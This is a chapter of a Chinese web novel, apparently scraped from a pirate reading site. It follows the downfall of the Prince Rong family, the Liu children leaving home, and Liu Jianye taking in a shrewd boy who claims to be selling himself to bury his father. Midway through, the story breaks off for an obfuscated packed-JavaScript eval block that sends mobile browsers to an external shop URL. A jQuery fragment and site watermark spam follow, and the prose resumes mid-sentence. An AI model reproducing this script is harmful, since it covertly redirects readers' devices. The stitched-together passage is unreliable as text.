【总之,咱们二崽只会是柳家二崽,哪怕真相全都掀得一清二楚,也绝对不会回到荣王府。】
【这出闹剧很快就落下了帷幕。】
【荣王夫妇直接按律法判决,即便是皇族身份,也无任何宽恕的可能。】
荣王夫妇终于不再藏身黑暗,神情动作都带上了几分慌张。
怎么可能直接按律法判决?
这是皇家之事,哪怕有错过,依照他们的身份也不该如此才对!
【皇家宗室不是没有挣扎过,但也挣扎不出半点水花。】
【毕竟,柳家除了日常划水的柳建业,每个崽都不是省油的灯。】
……
柳建业猛的抬起头,脸上满是不服。
他!也很忙!
也很有功效的!
没有他,哪里来的崽?
【皇帝崽甚至亲自放话,说出类似于‘天子犯法与庶民同罪’的言论。】
【更是表示,他若做人做父母做成这般,不如找个安静的地方自行了断算了。】
【天子都亲自发话了。】
【皇室宗室谁敢冒头?他们里头也没几个做人做父母做得好的,届时引火上身,那才是真糟糕。】
楚元知察觉双亲的慌张再回想天幕提到的种种,心中空落落又灰茫茫的……
他脑子里挤着各种各样的信息,却什么都想不出来。
【柳云朗闭门不出好几个月,直到荣王夫妇处决完毕,人才渐渐恢复正常。】
【大概是在家里疗愈得不错。】
【他还难得主动去找了好几次茫然无助又闹别扭的楚元知,也探望过病得越来越厉害几乎无时无刻不在自言自语的楚元风。】
【楚元风的病眼看着已是无药可医。】
【某日,忽然就好了。】
【他想起楚元知婚事一直耽搁,好了之后就开始忙碌此事,又竭力促成楚元知成荣王。】
【很快,楚元知大婚,柳云朗也难得出席,还送了七彩的鞭炮。】
【一切似乎都在好转。】
【三月后。】
【楚元风死在亡妻坟头。】
【一切都在好转,但他再也好转不起来。】
【他的疑惑再也无人能解,所求也不过是灭亡。】
听到这话,楚元知怔住了。
茫然什么的一扫而空。
他重新紧拽楚元风的胳膊,发誓绝对不能让大哥落到天幕那般。
错的
是他爹他娘!
【皇室惊天秘闻就此落下尾声。】
【大家是不是觉得主播每个崽的故事都说得跟亲眼见到似的,有夸张虚构的成分?】
【还有观众说我趴墙角躲床底下偷听来的!】
【冤枉啊!】
【主播能这么说,那绝对可以保证其中里有八成是真!】
【剩下两成嘛……】
【是主播用了文学手段稍微加工一下小细节。】
【大家都知道,大爹养的崽有个话本崽,就喜欢拿身边人进行人设创作。】
【又有某个专注修史的超强赘婿。】
【他们可都记录了不少东西。】
【主播讲述的所有内容,都是基于并结合二人的记录,一点一点扣一点一点拼凑。】
【本草我甚至把出土的原版文言文记录都斟酌分析了几十遍!】
天幕中的女声极其虚假的抽泣几声,再嚷嚷着‘清汤大老爷为我发声’,很快就带着笑意匆匆忙忙继续开口。
【讲得差不多了,手机也要没电了。】
【下次见下次见!】
随着话音急促落下,天空重新被黑暗笼罩。
不管盛朝各地各处的百姓此时是如何热闹讨论,御花园里,是死一般的寂静。
这次天幕揭露的可是皇族的家事,前排的席位还都坐着各个皇室宗亲……
今夜,要热闹了。
没过多久,官员及其家眷就被请出了皇宫。
御花园只剩下皇族成员以及柳家。
一夜过后。
荣王夫妇被贬为庶民,送去守皇陵,荣王府则是由楚元风继承,柳云朗获得了一堆国库里稀奇古怪的宝物,
崽们虽然有些不满,但见柳云朗丝毫不在意荣王府的事情,又还挺喜欢那些古怪的赏赐,也都随他去了。
天幕到底是未来。
未发生之事如此判决,既判了恶人又算是补偿了无辜者,天化帝也算得上是公正。
反正他们只是偷偷做点小手脚,让荣王夫妇意外意外,担惊受怕一下。
随着去就随着去吧。
朝堂安静了几日。
不到半月,六部的渴求人才的折子就飞到了天化帝书案上。
瑞宁长公主府周围也总是鬼鬼祟祟出现六部的官员。
他们是真的很需要柳云朗!
被需要的柳云朗借着‘伤心伤神’的名头,成功推掉了书院的学习,高高兴兴待在屋里,摆弄着各种材料,哪里
都不去。
大门都不出,自然是无人逮得住他。
哪怕是天化帝上门,都不怎么能见得到老二,只听其他孩子说对方在专心捣鼓东西。
专心好!捣鼓好啊!
六部有什么好去的?在家中也能一鸣惊人!
光阴似箭。
长公主府的湖被炸缺了一小块,树木假山也诡异的消失些许,又到了开春三月。
老七的婚事也如期举行。
婚礼是办在长公主府里的,当天热闹极了,红绸遍布,锣鼓喧天。
柳建业紧张得不得了。
他头回办这种大喜事,生怕把儿子婚礼搞砸,做事都要反反复复对个三遍,还到处借了不少侍从巡逻。
又是接皇帝封赏又是忽然少这个找不到那个还缺点什么……
想找崽帮忙做事,所有的崽都已经早早到分工好的各个位置。
……
磕磕绊绊大半天。
终于是办成了!
柳建业差点累虚脱,一想到他还有好些个崽要成亲,眼前都要冒星星。
只能庆幸自己不结婚。
少遭一次罪。
老七成家后稳重了几天。
一旬后,露出原型,带着看起来就聪明的妻子加入了拆家行列。
才短短两个月!
长公主府里大半的假山不翼而飞……
老七夫妇俩不知道是心虚,还是长公主府已经不够他们折腾,跟柳建业提出出门远游的想法。
收到消息的老六和老八也纷纷上门,表示要出门闯荡。
理由都还挺充分。
老六觉得自己是哥哥,弟弟都能出门远游了,他怎么就不行?
老八更是直言自己和老七同龄,不能因为她是女孩子就做不到一视同仁。
老十一也冒出来极力争取。
被柳建业无情驳回,没有半点余地。
刚束发呢就想满世界跑?
老老实实先多读几年书吧!
总之,柳建业听了是一个脑袋两个大。
先别提什么太子遗孤极有可能就在这里头。
他本身也不太想放孩子出门,哪怕确实成家了,可在他眼里都没到上辈子国家法定的成年年纪。
于是,他把难题推给了天化帝。
直接请示大领导。
就问领导敢不敢放这些闯祸精出门?
天化帝犹豫了很久。
他觉得柳建业都开口请示了,肯定有对方开口的道理。
怎么说都是天幕认证
最会养孩子的人,虽然很多做法他不敢苟同,但效果也确实显著。
再说孩子也大了,确实不能一直拘在家里,趁现在出去看看也好。
天化帝同意了。
柳建业都没想到天化帝同意得这么快这么干脆,甚至亲自到家里,问孩子们需不需要武功高强的侍卫随行。
……
他真没有一点点准备。
不是天化帝自己养的就是不心疼!他都没舍得答应呢!
儿行千里母担忧。
柳建业又当爹又当妈,孩子要出门,他从束发带到鞋垫,全准备得满满当当。
主要是这几个孩子闹腾……
换做老大去游学,他顶多担心担心身体,而不是会不会闯出大祸。
临行前。
柳建业犹豫再三,拉着孩子们说道:“若是在外闯出祸来……”
“就千万不要说出爹的名字!”
三个崽异口同声。
老七的媳妇迟了一步,也跟着重念一遍。
……
柳建业挨个敲脑袋,老七媳妇也没错过,一道敲。
他算是明白了。
这几个全是泼猴!
敲完脑壳,才郑重强调:“闯祸了就直接报出你们是长公主府的人!是陛下的亲亲侄孙!”
可不能太亲了!
公主都不一定有他们家崽见皇帝见得勤快呢!
三个崽离开后,柳建业总觉得身边安静了许多,虽然长公主府里的各种动静没都消停过,身边就是冷清了不少。
接连唉声叹气好几天。
家里的崽见不得他如此消沉,邀请他一起修补湖边缺角。
差点没被孩子们那不得章法的虚假工程淹死。
很快,又收到其他崽自由自在快乐闯祸的回信。
……
儿行千里母担忧多年育儿养女名声尽毁。
柳建业为了防家里的崽天天做些扰人清静的事情,把课业加了一倍,又打发崽们去帮未来大嫂徐幼安建女学。
虽然老大追妻进度缓慢到令人发指,但至少心结是成功开解了。
成亲什么的,随缘吧!
瑞宁长公主难得安静些许。
好几次天化帝过来都跑了个空,只能勉强去柳云朗院里摸东看西。
柳建业对于安静的现状还算满意。
老大心甘情愿成为帝王手中锋利的一把刀,权势渐大;老二如愿以偿不用读书不用出门,乐不思蜀;老三在边境施展抱负,无拘无束;老
四老五农事渐入佳境,心无旁骛……
剩下的泼猴不数了,都有事情做!
忽然清静下来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169496|188299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳建业脑中灵光一闪。
啊!是时候自由玩耍了!
他勤勤恳恳工作这么多年,为了这个家含辛茹苦起早贪黑上朝!
现在孩子们长大得差不多了,也是时候享受个人生活了。
柳建业借着各种假期,牵一头倔毛驴,慢悠慢悠在京城四周的城镇晃悠。
晃着晃着。
就到了冬天。
这日,柳建业骑着小毛驴到了崇山镇,天气冷,哪怕是到了赶集的圩日,也不怎么热闹。
他找了个冒着热气汤水的路边小摊子坐下,要了碗云吞。
坐的位置就在路口。
一眼,就看到了不远处正在**葬父的消瘦身影。
寒风吹过,白衣飘飘,发丝凌乱,微微抬头看向路人,眼眸愁苦。
好一个我见犹怜。
柳建业津津有味看起影视剧般标准的表演。
大概是看得太过专注,卖馄饨的老阿婆瞧见了,便叹气着说起对方的身世。
总结起来就是,**的爹,病重的妈,年幼的妹妹,破碎的家。
好耳熟啊!不确定,再听听。
“跪多久了?柳建业好奇问。
他都看到那白布里的爹手脚都膨胀了,可不像是刚死的样子。
老阿婆沉默片刻,还是老实回答:“一个月了。
……
柳建业是真惊讶了。
一个月都没下葬?那长相那我见犹怜的模样那影视剧般的经典镜头,可不像是没人问价的样子啊!
很快,老阿婆就主动说出了缘由。
没别的。
要得实在是太多了!开口就是百银,还挑卖家,老的不行年轻的不行坏心思的不行,而且绝对不签**契,只愿意做工干活抵债!
柳建业觉得对方很有想法。
趁热喝了口刚端来的馄饨汤,见那阿婆还没离开,忍不住把心里琢磨许久的问题问出:“那孩子生得实在太好,竟一时看不出男子还是女……
“男的。某道白衣悠悠飘到柳建业隔壁桌,小少年抬头乖巧对阿婆说道:“婆婆,晚些我给您收拾,可以给我……
“好好,一碗热汤是吧,我晓得嘞。老阿婆动作麻利去舀汤。
小少年转而看向柳建业,笑道:“先生有什么疑惑不妨直接问我。
柳建业真有。
说</a>更新,记住域名caixs§(请来才小
说
看最新章节
完整章节)
悠悠问道:“今年几岁,可曾读过书?识得那些字?哦,这些其实都不是我想问的,我就想知道你是不是恨他?”
他瞥了眼正被孤零零丢在街头的某具尸体。怎么感觉葬父为假,报复才是真呢?
小少年笑了:“先生买下我,五十银便可。”
柳建业不是冤大头。
并没有打算买下小滑头。
两个时辰后。
柳建业被迫扛着柴火在寒风中艰难前行,他身旁是同样驼满柴火的倔驴,以及同样背着柴火负重前行的白衣少年。
他只是偶发善心,善良的心!
但抵不住少年竟强买强卖!非要给他家里藏起来最值钱的柴火!
“你就这么把你爹随便丢在城外的沟里了?”柳建业累得气喘吁吁也不忘好奇问。
少年同样气息不稳:“又没人偷,随便放着就行。”
行吧。
大孝子。
功夫不负有心人。
柳建业带着柴火成功走到了长公主府门前!天知道他有多狼狈!
眼看着胜利近在咫尺。
忽然。
一群熟悉的崽风风火火从柳建业身旁冲过,本来都迈进了长公主府,又齐齐急刹车转过头。
看着远处扛柴的柳建业,再看着对方身旁瘦弱的白衣小少年。
崽们先是茫然瞬间,很快就恍然大悟。
齐齐朝着柳建业冲去。
将少年包围住。
“是新弟弟吗!”
“天啊!我终于可以当姐姐了?弟弟弟弟,我是姐姐!快叫小小姐姐!”
“新弟弟好瘦啊!受苦了吧?”
“快把东西放下,来就来,还带什么柴?咱们爹不在意这个的!”
“弟弟真好看啊!就是太瘦了,得多吃点!”
……
柳建业面色变了又变,高声说道:“我也扛着柴呢!”
怎么就看小少年?
他这么大个活人也杵在这!
崽们敷衍关心了几句,又搭把手把老父亲的柴卸下,继续围着无措的少年叽叽喳喳。
好巧不巧,老大也回来了,瞧见门前热闹得紧,走过来听了两句,转头疑惑看向自家爹。
说好不‘生’了呢?
……
柳建业不好说自己今天当了回离奇买柴火的冤大头。
深思熟虑半晌。
才高声说道:“这是…这是我打算收的学生!”
小少年看向柳建业,放下柴火,拱手道:“学生见过老师。”
作者有话说:
[饭饭]